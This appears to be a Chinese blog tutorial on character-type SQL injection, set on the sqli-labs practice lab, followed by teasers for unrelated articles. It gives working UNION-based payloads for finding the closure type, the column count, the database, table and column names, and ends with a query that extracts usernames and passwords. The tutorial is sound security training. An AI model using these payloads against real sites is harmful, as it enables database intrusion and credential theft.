简单的SQL字符型注入

目录

注入类型

判断字段数

确定回显点

查找数据库名

查找数据库表名 

查询字段名

获取想要的数据 


以sqli-labs靶场上的简单SQL注入为例

注入类型

判断是数字类型还是字符类型

常见的闭合方式

?id=1'、?id=1"、?id=1')、?id=1")等,大多都是单引号、双引号、括号的组合。

先尝试下字符型输入:?id=1'and 1=1#或者?id=1'and 1=1--+

(如果是字符型,可以用#或者--+或者%23注释掉单引号)

如果?id=1没有回显,那么输入?id=1 or 1=1(数字型)那么肯定会回显,输入?id=1' or 1=1--+(字符型)也肯定会回显(过滤字符可能不是--+,也可能是别的),但是用?id=1 and 1=1,或者?id=1' and 1=1--+不一定回显

99b4d6248638416f95196bb67e0dd04e.png

再试下:?id=1' and 1=2--+ 

541f7988e63143e385c3517388ef4e3d.png

没有回显 

证明是字符型输入,

回显是指页面有数据信息返回。无回显是指根据输入的语句,页面没有任何变化或者没有数据库中的内容显示到网页中。

如果是数字型输入,那么就可以正常输入:1

如何判断是字符型还是数字型呢,有一种方法:

数字型:

  • 1 and 1=1  //能回显
  • 1 and 1=2  //不能回显

字符型:

  • 1' and 1=1#  //能回显
  • 1' and 1=2#   //不能回显

判断字段数

判断字段数 order by

分四次输入:1' and 1=1 oder by 1--+   1' and 1=1 oder by 2--+  1' and 1=1 oder by 3--+    1' and 1=1 oder by 4--+

前两次都是正常回显,第三次报错,显示没有第三列,说明只有两个字段 61430bc38607457b99919a045eeb358c.png

 

确定回显点

输入:1' and 1=1 union select 1,2,3--+

a92613936d9846a4be8f648c23b1e987.png

发现1,2,3三个数没有一个回显,

因为第一个查询语句把后面的给挡住了,所以要把第一个查询语句失效

可以输入:1' and 1=2 union select 1,2,3--+  或者-1' union select 1,2,3--+

8af68d2db4ae452ea2409da9b5439198.png

2,3的位置成功回显 。2,3都可以是注入点 

 

就是可以更改这些点对应的相对的输入位置可以得到不同的输出;

查找数据库名

输入:-1' union select 1,2,database()--+

c074e8e5d02944a5b781f5f58df6c6bd.png

 得到对应的数据库名字:security

查找数据库表名 

849da3c5efd44846912a2cc425bae928.png

 输入:-1' union select 1,2,table_name from information_schema.tables where table_schema='security'--+

fc5a70c29ad24eb2ba38ac65b691832a.png

得到表名:emails,但是在这个数据库中可能不止一个表,所以我们要得到所有表,而不只是一个emails表

输入:-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

在mysql的关联查询或子查询中,函数 group_concat(arg) 可以合并多行的某列(或多列)数据为一行,默认以逗号分隔。

所以我们可以将tables表里面的所有tables_name表名合并成一行输出 

c55d5e0d9a7d4332a16fde4f268accb8.png

 显然我们想要的是users表

查询字段名

我们会用到上面图片中的column表

输入:-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

ea6eca5c7693439697826c4bd98faa22.png 7f982a26658f4723bc8ff2000e9e8a92.png

users表下的字段数很多,显然易见,我们想要获取的只是账号密码,所以,对我们有用的是username和password字段

获取想要的数据 

输入:-1' union select 1,2,group_concat(username,'-',password) from users --+

 ceceeb0f55d746e288b39f2ca349d448.png

成功得到对应的账号密码 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/45813.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【ASTGCN】模型调试学习笔记--数据生成详解(超详细)

利用滑动窗口生成时间序列 原理图示: 以PEMS04数据集为例。 该数据集维度为:(16992,307,3),16992表示时间序列的长度,307为探测器个数,即图的顶点个数,3为特征数,即流量,速度、平…

期权专题12:期权保证金和期权盈亏

目录 1. 期权保证金 1.1 计算逻辑 1.2 代码复现 1.3 实际案例 2. 期权盈亏 2.1 价格走势 2.2 计算公式 2.2.1 卖出期权 2.2.2 买入期权 免责声明:本文由作者参考相关资料,并结合自身实践和思考独立完成,对全文内容的准确性、完整性或…

[CISCN 2023 华北]normal_snake

[CISCN 2023 华北]normal_snake 源码和依赖 算了直接说吧,不想截图了,就多了一个C3P0和yaml的依赖 然后read路由可以反序列化yaml的Str 我们看到waf 那个String是可以二次反序列化绕过的,然后CUSTOM_STRING1解码后是"BadAttributeValuePairExcept…

【java】力扣 反转链表

力扣 206 链表反转 题目介绍 解法讲解 先定义两个游标indexnull,prenull,反转之后链表应该是5,4,3,2,1,我们先进行2->1的反转,然后再循坏即可 让定义的游标index去存储head.n…

MySQL设置白名单限制

白名单(Whitelist)是一种机制,用于限制哪些主机可以连接到服务器,而阻止其他主机的访问。通过配置白名单,可以增加服务器的安全性,防止未授权的访问。 在MySQL数据库中直接设置白名单访问(即限制…

【C++】C++中SDKDDKVer.h和WinSDKVer.h函数库详解

目录 一.SDKDDKVer.h介绍 二.WinSDKVer.h介绍 三.WinSDKVer.h 和 SDKDDKVer.h 的区别 一.SDKDDKVer.h介绍 SDKDDKVer.h 是一个在 Windows 软件开发中常见的头文件,它用于定义软件开发工具包(SDK)和驱动开发工具包(DDK&…

【触摸屏】【地震知识宣传系统】功能模块:视频 + 知识问答

项目背景 鉴于地震知识的普及对于提升公众防灾减灾意识的重要性,客户希望开发一套互动性强、易于理解的地震学习系统,面向公众、学生及专业人员进行地震知识教育与应急技能培训。 产品功能 系统风格:严谨的设计风格和准确的信息呈现&#…

获取 GPU 使用率最低的 CUDA 设备

获取 GPU 使用率最低的 CUDA 设备 要获取 GPU 使用率最低的 CUDA 设备,我们可以使用 Python 结合 NVIDIA 的 pynvml 库。这个库允许我们访问 NVIDIA GPU 的各种信息,包括使用率。下面是一个实现这个功能的 Python 脚本: import pynvmldef ge…

红酒的艺术之旅:品味、鉴赏与生活的整合

在繁忙的都市生活中,红酒如同一道不同的风景线,将品味、鉴赏与日常生活巧妙地整合在一起。它不仅仅是一种饮品,更是一种艺术,一种生活的态度。今天,就让我们一起踏上这趟红酒的艺术之旅,探寻雷盛红酒如何以…

Android12 persist.sys.usb.config值更新

adb的相关控制 在android 4.0 之后,adb 的控制统一使用了persist.sys.usb.config来控制,而这个persist.sys.usb.config 中的adb是根据ro.debuggable 1 or 0 来设置,1 就是开启adb, 0 即关闭adb debug. 有两个地方影响 build/tools/post_pr…

【qt】如何读取文件并拆分信息?

需要用到QTextStream类 还有QFile类 对于文件的读取操作我们可以统一记下如下操作: 就这三板斧 获取到文件名用文件名初始化文件对象用文件对象初始化文本流 接下来就是打开文件了 用open()来打开文件 用readLine()来读取行数据 用atEnd()来判断是否读到结尾 用split()来获取…

02. Hibernate 初体验之持久化对象

1. 前言 本节课程让我们一起体验 Hibernate 的魅力!编写第一个基于 Hibernate 的实例程序。 在本节课程中,你将学到 : Hibernate 的版本发展史;持久化对象的特点。 为了更好地讲解这个内容,这个初体验案例分上下 2…

go-高效处理应用程序数据

一、背景 大型的应用程序为了后期的排障、运营等,会将一些请求、日志、性能指标等数据保存到存储系统中。为了满足这些需求,我们需要进行数据采集,将数据高效的传输到存储系统 二、问题 采集服务仅仅针对某个需求开发,需要修改…

防火墙小试——部分(书接上回)

toop接上回 1.实验拓扑及要求 前情回顾 DMZ区内的服务器,办公区仅能在办公时间内(9:00 - 18:00)可以访问,生产区的设备全天可以访问. 生产区不允许访问互联网,办公区和游客区允许访问互联网 …

C#统一委托Func与Action

C#在System命名空间下提供两个委托Action和Func,这两个委托最多提供16个参数,基本上可以满足所有自定义事件所需的委托类型。几乎所有的 事件 都可以使用这两个内置的委托Action和Func进行处理。 Action委托: Action定义提供0~16个参数&…

使用亮数据代理IP+Python爬虫批量爬取招聘信息训练面试类AI智能体

本文目录 一、引言二、开发准备三、代码开发四、使用亮数据进行高效爬取4.1 为什么需要亮数据4.2 如何使用亮数据 五、使用数据训练AI智能体六、 总结 一、引言 在当今AI迅速发展的时代,招聘市场正经历着前所未有的变革。传统的招聘方式已难以满足双方的需求。AI智…

ShardingSphere-JDBC —— 整合 mybatis-plus,调用批量方法执行更新操作扫所有分表问题

文章目录 过程及问题描述原因及方案 记录下 ShardingSphere 整合 mybatis-plus 进行批量更新时扫所有分表问题的原因及解决方案。ShardingSphere 整合 mybatis-plus 与整合 mybatis 流程是一样的,一个是导入 mybatis 包,一个是导入 mybatis-plus 包&…

canvas快速入门(一)canvas的基础使用

注释很详细&#xff0c;直接上代码 新增内容&#xff1a; 1. canvas的两种创建方式及优劣 2. canvas宽高设置及注意事项 3. 简单测例 项目结构&#xff1a; 源码&#xff1a; index.html <!DOCTYPE html> <html lang"en"> <head><meta charset…

7.7 CyclicBarrier

CyclicBarrier 循环栅栏&#xff0c;用来进行线程协作&#xff0c;等待线程满足某个计数。构造时设置【计数个数】。每个线程执行到某个需要“同步”的时刻调用 await() 方法进行等待&#xff0c;当等待的线程数满足【计数个数】时&#xff0c;继续执行。 Slf4j(topic "…

MySQL学习记录 —— 십구 命令执行

文章目录 1、mysql客户端命令2、从.sql文件执行SQL语句 1、mysql客户端命令 使用mysql时&#xff0c;命令行要以分号或者\g&#xff0c;\G来结束。 mysql客户端的很多命令可以在之前的mysql博客中查看。另外的用help或\h命令来查看。本篇写一些之前没有提到过的。 命令结束符…